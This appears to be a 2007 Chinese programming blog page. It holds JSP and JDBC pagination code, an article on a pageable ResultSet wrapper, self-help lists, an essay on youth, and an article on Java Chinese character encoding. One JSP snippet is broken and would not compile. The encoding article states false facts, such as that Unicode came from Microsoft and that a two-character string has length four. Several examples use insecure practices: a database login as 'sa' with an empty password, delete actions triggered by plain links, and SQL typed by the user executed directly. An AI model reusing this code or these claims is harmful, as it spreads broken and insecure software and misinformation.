                 s = s + " \u9996\u9875 ";
             if(intPage > 1)
                 s = s + " <A href=" + HttpFile + "?pages=" + i + str_parameter + ">\u4E0A\u4E00\u9875</A> ";
             else
                 s = s + " \u4E0A\u4E00\u9875 ";
             if(intPage < intPageCount)
                 s = s + " <A href=" + HttpFile + "?pages=" + j + str_parameter + ">\u4E0B\u4E00\u9875</A> ";
             else
                 s = s + " \u4E0B\u4E00\u9875 ";
             if(intPageCount > 1 && intPage != intPageCount)
                 s = s + " <A href=" + HttpFile + "?pages=" + intPageCount + str_parameter + ">\u5C3E\u9875</A>";
             else
                 s = s + " \u5C3E\u9875</font>";
             s = s + "</form>";
             return s;
         }

         public void closeConn()
         {
             db.close();
         }
    }

    posted @ 2007-10-02 21:32 jadmin 阅读(57) | 评论 (0)编辑 收藏

    ============================JSP数据分页显示代码(完整、高效)============================

    <%@ page language="java" import="java.util.*,java.sql.*" %>
    <%@ page contentType="text/html;charset=gb2312" %>
    <jsp:useBean id="cn" scope="page" class="DBConnection.Conn" />
    <%
    //变量声明
    int intpagesize; //一页显示的记录数
    int introwcount; //记录总数
    int intpagecount; //总页数
    int intpage; //待显示页码

    //设置一页显示的记录数
    intpagesize = 20;
    //设置当前网页文件名
    string strpageurl="show.jsp";

    //取得待显示页码
    string strpage = request.getparameter("page");
    if(strpage==null){
    intpage = 1;
    }
    else{
    //将字符串转换成整型
    intpage = java.lang.integer.parseint(strpage);
    if(intpage<1) intpage = 1;
    }

    //获取记录总数
    ResultSet rsc=cn.rsexecuteQuery("Select count(id) as AllRecord from tablename");
    introwcount=rsc.getInt("AllRecord");
    rsc.close();
    //记算总页数
    intpagecount = (introwcount+intpagesize-1) / intpagesize;

    if(intpage>intpagecount) intpage = intpagecount;

    //取得记录集
    ResultSet rs=cn.rsexecuteQuery("select top "+intpagesize+" * from tablename where id not in (select top "+((intpage-1)

    *intpagesize)+" id from tablename order by id desc) order by id desc");
    while(rs.next) {
    %>

    ********这里写循环体*******

    <%
    }
    //关闭结果集
    rs.close();
    %>
    <%-- 下面为页码输出代码段 --%>
    共<%=intpagecount%>页&nbsp;当前页< %=intpage%>/<%=intpagecount%>&nbsp;
    <%if(intpage>1){%><a href="<%=strpageurl%>&amp;page=1">首页</a><%}%>&nbsp;<a href="<%=strpageurl%>&amp;page=<%=intpage-

    1%>">上一页</a>&nbsp;
    <%if(intpage<intpagecount){%><a href="<%=strpageurl%>&amp;page=<%=intpage+1%>">下一页</a>&nbsp;<a href="<%=strpageurl%

    >&amp;page=<%=intpagecount%>">末页</a><%}%>

    ============================jsp的分页显示代码============================

    <%@ page contentType="text/html;charset=gb2312" %>
    <%@ page language="java" import="java.sql.*" %>

    <script language="javascript">
    function newwin(url) {
    var

    newwin=window.open(url,"newwin","toolbar=no,location=no,directories=no,status=no,

    menubar=no,scrollbars=yes,resizable=yes,width=600,height=450");
    newwin.focus();
    return false;
    }
    </script>
    <script LANGUAGE="javascript">
    function submit10()
    {
    self.location.replace("fenye1.jsp")
    }
    </script>
    <%//变量声明
    java.sql.Connection sqlCon; //数据库连接对象
    java.sql.Statement sqlStmt; //SQL语句对象
    java.sql.ResultSet sqlRst; //结果集对象
    java.lang.String strCon; //数据库连接字符串
    java.lang.String strSQL; //SQL语句
    int intPageSize; //一页显示的记录数
    int intRowCount; //记录总数
    int intPageCount; //总页数
    int intPage; //待显示页码
    java.lang.String strPage;
    int i;
    //设置一页显示的记录数
    intPageSize = 4;
    //取得待显示页码
    strPage = request.getParameter("page");
    if(strPage==null){//表明在QueryString中没有page这一个参数,此时显示第一页数据
    intPage = 1;
    }
    else{//将字符串转换成整型
    intPage = java.lang.Integer.parseInt(strPage);
    if(intPage<1) intPage = 1;
    }
    //装载JDBC驱动程序
    Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
    //设置数据库连接字符串
    strCon = "jdbc:odbc:heyang";
    //连接数据库
    sqlCon = java.sql.DriverManager.getConnection(strCon,"sa","");
    //创建一个可以滚动的只读的SQL语句对象
    sqlStmt =

    sqlCon.createStatement(java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE,java.sql.Result

    Set.CONCUR_READ_ONLY);//准备SQL语句
    strSQL = "select user_id,user_name from userinfo order by user_id desc";
    //执行SQL语句并获取结果集
    sqlRst = sqlStmt.executeQuery(strSQL);
    //获取记录总数
    sqlRst.last();//??光标在最后一行
    intRowCount = sqlRst.getRow();//获得当前行号
    //记算总页数
    intPageCount = (intRowCount+intPageSize-1) / intPageSize;
    //调整待显示的页码
    if(intPage>intPageCount) intPage = intPageCount;
    %>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <title>会员管理</title>
    </head>
    <body>
    <form method="POST" action="fenye1.jsp">
    第<%=intPage%>页 共<%=intPageCount%>页

    <%if(intPage<intPageCount){%><a

    href="fenye1.jsp?page=<%=intPage+1%>">下一页

    </a><%}%> <%if(intPage>1){%><a href="fenye1.jsp?page=<%=intPage-1%>">

    上一页</a><%}%>
    转到第:<input type="text" name="page" size="8"> 页
    <span><input class=buttonface type=´submit´ value=´GO´ name=´cndok´></span>
    </form>
    <table border="1" cellspacing="0" cellpadding="0">
    <tr>
    <th>ID</th>
    <th>用户名</th>
    <th width=´8%´>删除</th>
    </tr>
    <%
    if(intPageCount>0){
    //将记录指针定位到待显示页的第一条记录上
    sqlRst.absolute((intPage-1) * intPageSize + 1);
    //显示数据
    i = 0;
    String user_id,user_name;
    while(i<intPageSize && !sqlRst.isAfterLast()){
    user_id=sqlRst.getString(1);
    user_name=sqlRst.getString(2);
    %>
    <tr>
    <td><%=user_id%></td>
    <td><%=user_name%></td>
    <td width=´8%´ align=´center´><a href="delete.jsp?user_id=<%=user_id%>"

    onClick="return newwin(this.href);">删除</a></td>
    </tr>
    <%
    sqlRst.next();
    i++;
    }
    }
    %>
    </table>


    </body>
    </html>
    <%
    //关闭结果集
    sqlRst.close();
    //关闭SQL语句对象
    sqlStmt.close();
    //关闭数据库
    sqlCon.close();
    %>

    posted @ 2007-10-02 20:49 jadmin 阅读(55) | 评论 (0)编辑 收藏
    前言
      在使用数据库的过程中,不可避免的需要使用到分页的功能,可是JDBC的规范对此却没有很好的解决。对于这个需求很多朋友都有自己的解决方案,比如使用Vector等集合类先保存取出的数据再分页。但这种方法的可用性很差,与JDBC本身的接口完全不同,对不同类型的字段的支持也不好。这里提供了一种与JDBC兼容性非常好的方案。
    JDBC和分页
      Sun的JDBC规范的制定,有时很让人哭笑不得,在JDBC1.0中,对于一个结果集(ResultSet)你甚至只能执行next()操作,而无法让其向后滚动,这就直接导致在只执行一次SQL查询的情况下无法获得结果集的大小。所以,如果你使用的是JDBC1.0的驱动,那么是几乎无法实现分页的。
      好在Sun的JDBC2规范中很好的弥补了这一个不足,增加了结果集的前后滚动操作,虽然仍然不能直接支持分页,但我们已经可以在这个基础上写出自己的可支持分页的ResultSet了。


    和具体数据库相关的实现方法
      有一些数据库,如Mysql, Oracle等有自己的分页方法,比如Mysql可以使用limit子句,Oracle可以使用ROWNUM来限制结果集的大小和起始位置。这里以Mysql为例,其典型代码如下:
    // 计算总的记录条数
    String SQL = "SELECT Count(*) AS total " + this.QueryPart;
    rs = db.executeQuery(SQL);
    if (rs.next())
    Total = rs.getInt(1);
    // 设置当前页数和总页数
    TPages = (int)Math.ceil((double)this.Total/this.MaxLine);
    CPages = (int)Math.floor((double)Offset/this.MaxLine+1);
    // 根据条件判断,取出所需记录
    if (Total > 0) {
    SQL = Query + " LIMIT " + Offset + " , " + MaxLine;
    rs = db.executeQuery(SQL);
    }
    return rs;
    }
      毫无疑问,这段代码在数据库是Mysql时将会是漂亮的,但是作为一个通用的类(事实上我后面要提供的就是一个通用类库中的一部分),需要适应不同的数据库,而基于这个类(库)的应用,也可能使用不同的数据库,所以,我们将不使用这种方法。


    另一种繁琐的实现方法
      我看过一些人的做法(事实上包括我在内,一开始也是使用这种方法的),即不使用任何封装,在需要分页的地方,直接操作ResultSet滚到相应的位置,再读取相应数量的记录。其典型代码如下:
    <%
    sqlStmt = sqlCon.createStatement(java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE,
    java.sql.ResultSet.CONCUR_READ_ONLY);
    strSQL = "select name,age from test";
    //执行SQL语句并获取结果集
    sqlRst = sqlStmt.executeQuery(strSQL);
    //获取记录总数
    sqlRst.last();
    intRowCount = sqlRst.getRow();
    //记算总页数
    intPageCount = (intRowCount+intPageSize-1) / intPageSize;
    //调整待显示的页码
    if(intPage>intPageCount) intPage = intPageCount;
    %>
    <table border="1" cellspacing="0" cellpadding="0">
    <tr>
    <th>姓名</th>
    <th>年龄</th>
    </tr>
    <%
    if(intPageCount>0){
    //将记录指针定位到待显示页的第一条记录上
    sqlRst.absolute((intPage-1) * intPageSize + 1);
    //显示数据
    i = 0;
    while(i<intPageSize && !sqlRst.isAfterLast()){
    %>
    <tr>
    <td><%=sqlRst.getString(1)%></td>
    <td><%=sqlRst.getString(2)%></td>
    </tr>
    <%
    sqlRst.next();
    i++;
    }
    }
    %>
    </table>
      很显然,这种方法没有考虑到代码重用的问题,不仅代码数量巨大,而且在代码需要修改的情况下,将会无所适从。


    使用Vector进行分页
      还见过另一些实现分页的类,是先将所有记录都select出来,然后将ResultSet中的数据都get出来,存入Vector等集合类中,再根据所需分页的大小,页数,定位到相应的位置,读取数据。或者先使用前面提到的两种分页方法,取得所需的页面之后,再存入Vector中。
      扔开代码的效率不说,单是从程序结构和使用的方便性上讲,就是很糟糕的。比如,这种做法支持的字段类型有限,int, double, String类型还比较好处理,如果碰到Blob, Text等类型,实现起来就很麻烦了。这是一种更不可取的方案。


    一个新的Pageable接口及其实现
      很显然,看过上面三种实现方法后,我们对新的分页机制有了一个目标,即:不与具体数据库相关;尽可能做到代码重用;尽可能与原JDBC接口的使用方法保持一致;尽可能高的效率。
      首先,我们需要提供一个与java.sql.ResultSet向下兼容的接口,把它命名为Pageable,接口定义如下:
    public interface Pageable extends java.sql.ResultSet{
    /**返回总页数
    */
    int getPageCount();
    /**返回当前页的记录条数
    */
    int getPageRowsCount();
    /**返回分页大小
    */
    int getPageSize();
    /**转到指定页
    */
    void gotoPage(int page) ;
    /**设置分页大小
    */
    void setPageSize(int pageSize);
    /**返回总记录行数
    */
    int getRowsCount();
    /**
    * 转到当前页的第一条记录
    * @exception java.sql.SQLException 异常说明。
    */
    void pageFirst() throws java.sql.SQLException;
    /**
    * 转到当前页的最后一条记录
    * @exception java.sql.SQLException 异常说明。
    */
    void pageLast() throws java.sql.SQLException;
    /**返回当前页号
    */
    int getCurPage();
    }
      这是一个对java.sql.ResultSet进行了扩展的接口,主要是增加了对分页的支持,如设置分页大小,跳转到某一页,返回总页数等等。
      接着,我们需要实现这个接口,由于这个接口继承自ResultSet,并且它的大部分功能也都和ResultSet原有功能相同,所以这里使用了一个简单的Decorator模式。
      PageableResultSet2的类声明和成员声明如下:
    public class PageableResultSet2 implements Pageable {
    protected java.sql.ResultSet rs=null;
    protected int rowsCount;
    protected int pageSize;
    protected int curPage;
    protected String command = "";
    }
      可以看到,在PageableResultSet2中,包含了一个ResultSet的实例(这个实例只是实现了ResultSet接口,事实上它是由各个数据库厂商分别实现的),并且把所有由ResultSet继承来的方法都直接转发给该实例来处理。
      PageableResultSet2中继承自ResultSet的主要方法:
    //……
    public boolean next() throws SQLException {
    return rs.next();
    }
    //……
    public String getString(String columnName) throws SQLException {
    try {
    return rs.getString(columnName);
    }
    catch (SQLException e) {//这里是为了增加一些出错信息的内容便于调试
    throw new SQLException (e.toString()+" columnName="
    +columnName+" SQL="+this.getCommand());
    }
    }
    //……
      只有在Pageable接口中新增的方法才需要自己的写方法处理。
    /**方法注释可参考Pageable.java
    */
    public int getCurPage() {
    return curPage;
    }
    public int getPageCount() {
    if(rowsCount==0) return 0;
    if(pageSize==0) return 1;
    //calculate PageCount
    double tmpD=(double)rowsCount/pageSize;
    int tmpI=(int)tmpD;
    if(tmpD>tmpI) tmpI++;
    return tmpI;
    }
    public int getPageRowsCount() {
    if(pageSize==0) return rowsCount;
    if(getRowsCount()==0) return 0;
    if(curPage!=getPageCount()) return pageSize;
    return rowsCount-(getPageCount()-1)*pageSize;
    }
    public int getPageSize() {
    return pageSize;
    }
    public int getRowsCount() {
    return rowsCount;
    }
    public void gotoPage(int page) {
    if (rs == null)
    return;
    if (page < 1)
    page = 1;
    if (page > getPageCount())
    page = getPageCount();
    int row = (page - 1) * pageSize + 1;
    try {
    rs.absolute(row);
    curPage = page;
    }
    catch (java.sql.SQLException e) {
    }
    }
    public void pageFirst() throws java.sql.SQLException {
    int row=(curPage-1)*pageSize+1;
    rs.absolute(row);
    }
    public void pageLast() throws java.sql.SQLException {
    int row=(curPage-1)*pageSize+getPageRowsCount();
    rs.absolute(row);
    }
    public void setPageSize(int pageSize) {
    if(pageSize>=0){
    this.pageSize=pageSize;
    curPage=1;
    }
    }
      PageableResultSet2的构造方法:
    public PageableResultSet2(java.sql.ResultSet rs) throws java.sql.SQLException {
    if(rs==null) throw new SQLException("given ResultSet is NULL","user");

    rs.last();
    rowsCount=rs.getRow();
    rs.beforeFirst();

    this.rs=rs;
    }
      这里只是简单的取得一个总记录数,并将记录游标移回初始位置(before first),同时将参数中的ResultSet赋给成员变量。


    Pageable的使用方法
      因为Pageable接口继承自ResultSet,所以在使用方法上与ResultSet一致,尤其是在不需要分页功能的时候,可以直接当成ResultSet使用。而在需要分页时,只需要简单的setPageSize, gotoPage,即可。
    PreparedStatement pstmt=null;
    Pageable rs=null;
    ……//构造SQL,并准备一个pstmt.
    rs=new PageableResultSet2(pstmt.executeQuery());//构造一个Pageable
    rs.setPageSize(20);//每页20个记录
    rs.gotoPage(2);//跳转到第2页
    for(int i=0; i<rs.getPageRowsCount(); i++){//循环处理
    int id=rs.getInt(“ID”);
    ……//继续处理
    }


    总结
      一个好的基础类应该是便于使用,并且具备足够的可移植性,同时要保证其功能的完善。在上面的实现中,我们从java.sql.ResultSet接口继承出Pageable,并实现了它。这就保证了在使用中与JDBC原有操作的一致性,同时对原有功能没有缩减。
      同时它也是易于使用的,因为封装了一切必要的操作,所以在你的代码中唯一显得"难看"和"不舒服"的地方就是需要自己去构造一个PageableResultSet2。不过只要你愿意,这也是可以解决的。
      当然它也有具有充分的可移植性,当你将数据库由Oracle变为Mysql或者SQLServer的时候,你仍然可以使用这些分页的代码。它在使用中(或者说在移植的过程中)唯一的限制就是你必须要使用一个支持JDBC2的驱动(现在明白为什么我把类命名为PageableResultSet2了吧。:P),不过,好在JDBC2已经成为标准了,绝大多数的数据库(如Oracle, Mysql, SQLServer)都有自己的或者第三方提供的JDBC2的驱动。
      OK,这个分页的实现是否对你的编程有帮助呢?仔细看看,其实真正自己写的代码并不多的,大部分都只是简单的转发操作。一个合适的模式应用可以帮你很大忙。
    posted @ 2007-10-02 20:37 jadmin 阅读(45) | 评论 (0)编辑 收藏

                        1、不说“不可能”三个字;

                        2、凡事第一反应:找方法,而不是找借口;

                        3、遇到挫折对自己大声说:太棒了;

                        4、不说消极的话,不落入消极情绪,一旦出现立即正面处理;

                        5、凡事先订立目标,并且尽量制作“梦想版”;

                        6、凡事预先作计划,尽量前目标视觉化;

                        7、六点优先工作制,每一分,每一秒做生产力的事情;

                        8、随时用零碎的时间(如等人、排队等)做零碎的小活;

                        9、守时;

                        10、写下来,不要太依靠脑袋记忆;

                        11、随时记录灵感;

                        12、把重要的观念、方法写下来,并贴起来,以随时提示自己;

                        13、走路比平时快30%。走路时,脚尖稍用力推进;肢体语言健康有力,不懒散;

                        14、每天出门照镜子,给自己一个自信的笑容;

                        15、每天自我反省一次;

                        16、每天坚持一次运动;

                        17、听心跳1分钟。指在做重要事前,疲劳时,心情烦燥时,紧张时;

                        18、开会坐在前排;

                        19、微笑;

                        20、用心倾听,不打断对方说话;

                        21、说话时,声音有力。感觉自己声音似乎能产生有感染力的磁场;

                        22、同理心。说话之前,先考虑一下对方的感觉;

                        23、每天有意识、真诚地赞美别人三次以上;

                        24、及时写感谢卡,哪怕是用便条写;

                        25、不用训斥、指责的口吻跟别人说话;

                        26、控制住不要让自己做出为自己辩护的第一反应;

                        27、每天多做一件“分外事”

                        28、不管任何方面,每天必须至少做一次“进步一点点”;

                        29、每天提前15分钟上班,推迟30分钟下班;

                        30、每天在下班前5分钟的时间做一天的整理性工作;

                        31、定期存钱;

                        32、节俭;

                        33,当你有创意的时候用笔记下来,并努力去实现它。

    posted @ 2007-10-02 08:55 jadmin 阅读(50) | 评论 (0)编辑 收藏
      【放弃】把握的反面就是放弃,选择了一个机会,就等于放弃了其他所有的可能。当新的机会摆在面前的时候,敢于放弃已经获得的一切,这不是功亏一篑,这不是半途而废,这是为了谋求更大的发展空间;或者什么都不为,只因为喜欢这样做,因为,年轻就是最大的机会。人,只有在三十岁之前才会有这个胆量,有这个资本,有这个资格。



      【失恋】不是不在乎,是在乎不起。三十岁前最怕失去的不是已经拥有的东西,而是梦想。爱情如果只是一个过程,那么正是这个年龄应当经历的,如果要承但结果,三十岁以后,可能会更有能力,更有资格。其实,三十岁之前我们要做的事情很多,稍纵即逝,过久地沉溺在已经干涸的爱河的河床中,与这个年龄的生命节奏不合。



      【离婚】不是不在乎,是一切还来得及。一位三十八岁的女友与老公结婚十五年,冷战十三年,终于分手。她说:“如果说后来不愿意离婚是为了孩子,那第他第一次提出离婚我没有同意,现在想来真不知道为什么。如果那个时候早分手,我的生活绝不会是今天这个样子。现在再重新开始,总觉得一切都晚了。”



      【漂泊】漂泊不是一种不幸,而是一种资格。趁着没有家室拖累,趁着身体健康,此时不飘何时飘?当然,漂泊的不一定是身体,也许只是幻想和梦境。新世纪的时尚领袖是飘一代,渴望漂泊的人惟一不飘的是那颗心。



      【失业】三十岁以前就尝到失业的滋味当然是一件不幸的事,但不一定是坏事。三十岁之前就过早地固定在一个职业上终此一生也许才是最大的不幸。失业也许让你想起埋藏很久而尘封的梦想,也许会唤醒连你自己都从未知道的潜能。也许你本来就没什么梦想,这时候也会逼着你去做梦。



      【时尚】不要追赶时尚。按说青年人应该是最时尚的,但是独立思考和个性生活更重要。在这个物质社会,其实对时尚的追求早已经成为对金钱的追求。今天,时尚是物欲和世俗的同义语。



      【格调】这是小资的东西,"小资"这个词在今天又二度流行,追求格调就是他们的专利。小资们说,有格调要满足四大要件:智慧、素养、自信和金钱。格调就是把"高尚"理解成穿着、气质、爱好的品位和室内装潢。也就是大老粗只会表现谈吐的庸俗,"小资"们已经有能力庸俗他们的心灵了。主流观念倒不是非要另类,另类已经成为年轻人观念的主流了,在今天,老土倒显得另类。关键是当今社会是一个创造观念的时代,而不是一个固守陈旧观念的时代。



         【评价】我们最不应该做出的牺牲就是因为别人的评价而改变自我,因为那些对你指手画脚的人自己也不知道他们遵从的规则是什么。千万不要只遵从规矩做事,规矩还在创造之中,要根据自己的判断做每一件事,虽然这样会麻烦一点。



      【幼稚】不要怕人说我们幼稚,这正说明你还年轻,还充满活力。"成熟"是个吓人的词儿,也是个害人的词儿。成熟和幼稚是对一个人最大而无当、最不负责任、最没用的概括。那些庸人,绝不会有人说他们幼稚。不信,到哪天你被生活压得老气横秋,暮气沉沉的时候,人们一定会说你成熟了,你就会知道"成熟"是个什么东西。



      【不适应】在一首摇滚里有这么一句:"这个城市改变了我,这个城市不需要我。"不要盲目地适应你生存的环境,因为很可能这环境自身已经不适应这个社会的发展了。



      【失败】我的老师曾经跟我说,一个人起码要在感情上失恋一次,在事业上失败一次,在选择上失误一次,才能长大。不要说失败是成功之母那样的老话,失败来得越早越好,要是三十岁,四十岁之后再经历失败,有些事,很可能就来不及了。



      【错误】这是年轻人的专利。



      【浅薄】如果每看一次《泰坦尼克号》就流一次眼泪,每看一次《大话西游》就笑得直不起腰,就会有人笑你浅薄。其实那只能说明你的神经依旧非常敏锐,对哪怕非常微弱的刺激都会迅速做出适应的反应;等你的感觉迟钝了,人们就会说你深沉了。



      【明星】不是不必在乎,是不能在乎。明星在商品社会是一种消费品,花了钱,听了歌,看了电影,明星们的表现再好,不过是物超所值而己,也不值得崇拜呀?就像你在地摊上花五十块钱买的裙子,别人都猜是八百块钱买的,物超所值了吧?你就崇拜上这身裙子了?



      【代价】不是不计代价,而是要明白做任何事都要付出代价。对我们这个年龄的人来说,这绝不是一句废话。否则,要到三十岁的时候才会明白自己曾经付出了多少代价,却不明白为什么付出,更不明白自己得到了多少,得到什么。



      【孤独】这是为自由付出的代价。



      【失意】包括感情上的,事业上的,也许仅仅是今天花了冤枉钱没买到可心的东西,朋友家高朋满座自己却插不上一句话。过分在乎失意的感受不是拿命运的捉弄来捉弄自己,就是拿别人的错误来惩罚自己。



      【缺陷】也许你个子矮,也许你长得不好看,也许你的嗓音像唐老鸭……那么你的优势就是你不会被自己表面的浅薄的亮点所耽搁,少花一些时间,少走一些弯,直接发现你内在的优势,直接挖掘自己深层的潜能。


         【误会】如果出于恶意,那么解释也没有用;如果出于善意,就不需要解释。专门说到"误会"倒不是为一个人在三十岁之前被人误会的时候更多,而是这个年龄的人想不开的时候更多。



      【谣言】这是一种传染病,沉默是最好的疫苗。除非你能找出传染源,否则解释恰恰会成为病毒传播最理想的条件。



      【疯狂】这是年轻人最好的心理调适,只能说明你精力旺盛,身心健康。说你"疯狂"是某些生活压抑、心力交瘁的中老年人恶意的评价,他们就像一部年久修的机器,最需要调试,但只能微调,一次大修就会让他们完全报废。



      【稳定】三十岁之前就在乎稳定的生活,那只有两种可能,要么就是中了彩票,要么就是未老先衰。



      【压力】中年人能够承受多大压力检验的是他的韧性;年轻人能承受多大压力,焕发的是他的潜能。



      【出国】也许是个机会,也许是个陷阱。除非从考大学的那一刻你就抱着这个目标,否则,对待出国的态度应该像对待爱情一样,努力争取成败随缘。



      【薪水】只要是给人打工,薪水再高也高不到哪儿去。所以在三十岁之前,机会远比金钱重要,事业远比金钱重要,将来远比金钱重要。对大多数人来说,三十岁之前干事业的首要目标绝不是挣钱,而是挣未来。



      【存款】这倒不一定是因为我们钱少,年轻人现在谁都知道钱是有生命的。机会这么多,条件这么好,可以拿钱去按揭,做今天的事,花明天的钱;也可以拿钱去投资,拿钱去"充电"。钱只有在它流通的过程中才是钱,否则只是一沓世界上质量最好的废纸。



      【房子】除非你买房子是为了升值,要么就是你结婚了。我有个同学,家在外地,大学毕业之后,单位没有宿舍,家里就给他买了一套房子。他曾经有过去北京工作的机会,但是他觉得刚买了房子就离开这座城市说不过去,就放弃了。到现在他工作稳定,但一事无成。唯一的成就就是结婚了,并且有了孩子,因为他觉得该让这房子永远空着,所以房子变成了家。房子是都市生活的寓言,这个寓言不应该过早的和我们相关。



      【年龄】女孩子一过二十五就开始隐瞒自己的年龄,其实大可不必。现在青年期都延迟到四十五岁了,二十五又算得了什么呢?



      【在乎】这是一种拿不起、放不下的心态,它的反面不是放弃,而是天马行空,自由自在,永远保持革命乐观主义的精神。
    posted @ 2007-10-02 08:51 jadmin 阅读(52) | 评论 (0)编辑 收藏
      在基于 Java 语言的编程中,我们经常碰到汉字的处理及显示的问题。一大堆看不懂的乱码肯定不是我们愿意看到的显示效果,怎样才能够让那些汉字正确显示呢?Java语言默认的编码方式是UNICODE,而我们中国人通常使用的文件和数据库都是基于GB2312或者BIG5等方式编码的,怎样才能够恰当地选择汉字编码方式并正确地处理汉字的编码呢?本文将从汉字编码的常识入手,结合Java编程实例,分析以上两个问题并提出解决它们的方案。

      现在 Java 编程语言已经广泛应用于互联网世界,早在 Sun 公司开发 Java 语言的时候,就已经考虑到对非英文字符的支持了。Sun 公司公布的 Java 运行环境(JRE)本身就分英文版和国际版,但只有国际版才支持非英文字符。不过在 Java 编程语言的应用中,对中文字符的支持并非如同 Java Soft 的标准规范中所宣称的那样完美,因为中文字符集不只一个,而且不同的操作系统对中文字符的支持也不尽相同,所以会有许多和汉字编码处理有关的问题在我们进行应用开发中困扰着我们。有很多关于这些问题的解答,但都比较琐碎,并不能够满足大家迫切解决问题的愿望,关于 Java 中文问题的系统研究并不多,本文从汉字编码常识出发,分析 Java 中文问题,希望对大家解决这个问题有所帮助。

      汉字编码的常识

      我们知道,英文字符一般是以一个字节来表示的,最常用的编码方法是 ASCII 。但一个字节最多只能区分256个字符,而汉字成千上万,所以现在都以双字节来表示汉字,为了能够与英文字符分开,每个字节的最高位一定为1,这样双字节最多可以表示64K格字符。我们经常碰到的编码方式有 GB2312、BIG5、UNICODE 等。关于具体编码方式的详细资料,有兴趣的读者可以查阅相关资料。我肤浅谈一下和我们关系密切的 GB2312 和 UNICODE。GB2312 码,中华人民共和国国家标准汉字信息交换用编码,是一个由中华人民共和国国家标准总局发布的关于简化汉字的编码,通行于中国大陆地区及新加坡,简称国标码。两个字节中,第一个字节(高字节)的值为区号值加32(20H),第二个字节(低字节)的值为位号值加32(20H),用这两个值来表示一个汉字的编码。UNICODE 码是微软提出的解决多国字符问题的多字节等长编码,它对英文字符采取前面加“0”字节的策略实现等长兼容。如 “A” 的 ASCII 码为0x41,UNICODE 就为0x00,0x41。利用特殊的工具各种编码之间可以互相转换。

      Java 中文问题的初步认识

      我们基于 Java 编程语言进行应用开发时,不可避免地要处理中文。Java 编程语言默认的编码方式是 UNICODE,而我们通常使用的数据库及文件都是基于 GB2312 编码的,我们经常碰到这样的情况:浏览基于 JSP 技术的网站看到的是乱码,文件打开后看到的也是乱码,被 Java 修改过的数据库的内容在别的场合应用时无法继续正确地提供信息。

    String sEnglish = “apple”;

    String sChinese = “苹果”;

    String s = “苹果 apple ”;

      sEnglish 的长度是5,sChinese的长度是4,而 s 默认的长度是14。对于 sEnglish来说, Java 中的各个类都支持得非常好,肯定能够正确显示。但对于 sChinese 和 s 来说,虽然 Java Soft 声明 Java 的基本类已经考虑到对多国字符的支持(默认 UNICODE 编码),但是如果操作系统的默认编码不是 UNICODE ,而是国标码等。从 Java 源代码到得到正确的结果,要经过 “Java 源代码-> Java 字节码-> ; 虚拟机->操作系统->显示设备”的过程。在上述过程中的每一步骤,我们都必须正确地处理汉字的编码,才能够使最终的显示结果正确。

      “ Java 源代码-> Java 字节码”,标准的 Java 编译器 javac 使用的字符集是系统默认的字符集,比如在中文 Windows 操作系统上就是 GBK ,而在 Linux 操作系统上就是ISO-8859-1,所以大家会发现在 Linux 操作系统上编译的类中源文件中的中文字符都出了问题,解决的办法就是在编译的时候添加 encoding 参数,这样才能够与平台无关。用法是

      javac ?Cencoding GBK。

      “ Java 字节码->虚拟机->操作系统”, Java 运行环境 (JRE) 分英文版和国际版,但只有国际版才支持非英文字符。 Java 开发工具包 (JDK) 肯定支持多国字符,但并非所有的计算机用户都安装了 JDK 。很多操作系统及应用软件为了能够更好的支持 Java ,都内嵌了 JRE 的国际版本,为自己支持多国字符提供了方便。

      “操作系统->显示设备”,对于汉字来说,操作系统必须支持并能够显示它。英文操作系统如果不搭配特殊的应用软件的话,是肯定不能够显示中文的。

      还有一个问题,就是在 Java 编程过程中,对中文字符进行正确的编码转换。例如,向网页输出中文字符串的时候,不论你是用

    out.println(string);

      还是用<%=string%>,都必须作 UNICODE 到 GBK 的转换,或者手动,或者自动。在 JSP 1.0中,可以定义输出字符集,从而实现内码的自动转换。用法是

    <%@page contentType=”text/html; charset=gb2312” %>

      但是在一些 JSP 版本中并没有提供对输出字符集的支持,(例如 JSP 0.92),这就需要手动编码输出了,方法非常多。最常用的方法是

    String s1 = request.getParameter(“keyword”);

    String s2 = new String(s1.getBytes(“ISO-8859-1”),”GBK”);

      getBytes 方法用于将中文字符以“ISO-8859-1”编码方式转化成字节数组,而“GBK” 是目标编码方式。我们从以ISO-8859-1方式编码的数据库中读出中文字符串 s1 ,经过上述转换过程,在支持 GBK 字符集的操作系统和应用软件中就能够正确显示中文字符串 s2 。

      Java 中文问题的表层分析及处理

    背景
    开发环境 JDK1.15 Vcafe2.0 JPadPro
    服务器端 NT IIS Sybase System Jconnect(JDBC)
    客户端 IE5.0 Pwin98

      .CLASS 文件存放在服务器端,由客户端的浏览器运行 APPLET , APPLET 只起调入 FRAME 类等主程序的作用。界面包括 Textfield ,TextArea,List,Choice 等。

      I.用 JDBC 执行 SELECT 语句从服务器端读取数据(中文)后,将数据用 APPEND 方法加到 TextArea(TA) ,不能正确显示。但加到 List 中时,大部分汉字却可正确显示。

      将数据按“ISO-8859-1” 编码方式转化为字节数组,再按系统缺省编码方式 (Default Character Encoding) 转化为 STRING ,即可在 TA 和 List 中正确显示。

      程序段如下:

    dbstr2 = results.getString(1);
    //After reading the result from DB server,converting it to string.
    dbbyte1 = dbstr2.getBytes(“iso-8859-1”);
    dbstr1 = new String(dbbyte1);

      在转换字符串时不采用系统默认编码方式,而直接采用“ GBK” 或者 “GB2312” ,在 A 和 B 两种情况下,从数据库取数据都没有问题。

      II.处理方式与“取中文”相逆,先将 SQL 语句按系统缺省编码方式转化为字节数组,再按“ISO-8859-1”编码方式转化为 STRING ,最后送去执行,则中文信息可正确写入数据库。

      程序段如下:

    sqlstmt = tf_input.getText();
    //Before sending statement to DB server,converting it to sql statement.
    dbbyte1 = sqlstmt.getBytes();
    sqlstmt = newString(dbbyte1,”iso-8859-1”);
    _stmt = _con.createStatement();
    _stmt.executeUpdate(sqlstmt);
    ……

      问题:如果客户机上存在 CLASSPATH 指向 JDK 的 CLASSES.ZIP 时(称为 A 情况),上述程序代码可正确执行。但是如果客户机只有浏览器,而没有 JDK 和 CLASSPATH 时(称为 B 情况),则汉字无法正确转换。

      我们的分析:

      1.经过测试,在 A 情况下,程序运行时系统的缺省编码方式为 GBK 或者 GB2312 。在 B 情况下,程序启动时浏览器的 JAVA 控制台中出现如下错误信息:

      Can't find resource for sun.awt.windows.awtLocalization_zh_CN

      然后系统的缺省编码方式为“8859-1”。

